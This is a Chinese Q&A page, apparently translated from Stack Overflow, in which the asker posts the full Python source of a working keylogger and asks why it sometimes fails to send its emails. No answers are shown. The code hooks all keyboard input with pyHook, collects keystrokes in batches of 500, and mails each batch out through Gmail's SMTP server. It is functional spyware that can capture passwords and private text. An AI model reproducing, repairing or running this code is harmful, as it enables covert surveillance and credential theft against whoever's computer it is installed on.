为什么我的小键盘记录器没有发送一些电子邮件?

时间:2015-01-06 16:09:32

标签: python smtplib keylogger pyhook pythoncom

我写了一个简单的键盘记录器,按下每500个键发送一封电子邮件。它的工作。但它不可靠,有时会发送电子邮件,但有时不会。可以说,我按了1500次键,这应该是3个邮件,记录500个密钥。但是我可以收到三封电子邮件,两封,一封或零封......根据最新消息......看看这段代码,你能说出原因吗?

import smtplib
import pyHook
import pythoncom

class Keylogger:

    def __init__(self):
        self.keylog = ''

    def OnKeyboardEvent(self, event):
        self.keylog += str(event.Key)
        if len(self.keylog) >= 500:  # Check size of the keystrokes captured
            # MAIL STUFF
            self.send_email('smtp.gmail.com', 587, 'your@email.com', 'yourpass', '%Keylogger Dump%', self.keylog)
            self.keylog = ''  # Reset keylog to capture new keystrokes
        return True

    def send_email(self, server, port, email, password, subject, body):
        session = smtplib.SMTP(server, port)
        session.ehlo()
        session.starttls()
        session.ehlo()
        session.login(email, password)

        headers = [
            "From: " + email,
            "Subject: " + subject,
            "To: " + email,
            "MIME-Version: 1.0",
            "Content-Type: text/html"
        ]
        headers = "\r\n".join(headers)

        session.sendmail(email, email, headers + "\r\n\r\n" + body)
        session.close()

if __name__ == '__main__':
    # Entry Point
    hook_manager = pyHook.HookManager()     # Create a new hook manager
    hook_manager.KeyDown = Keylogger().OnKeyboardEvent  # Assign the keydown event to our custom method
    hook_manager.HookKeyboard()             # Hook the keyboard events
    pythoncom.PumpMessages()                # Run forever

0 个答案:

没有答案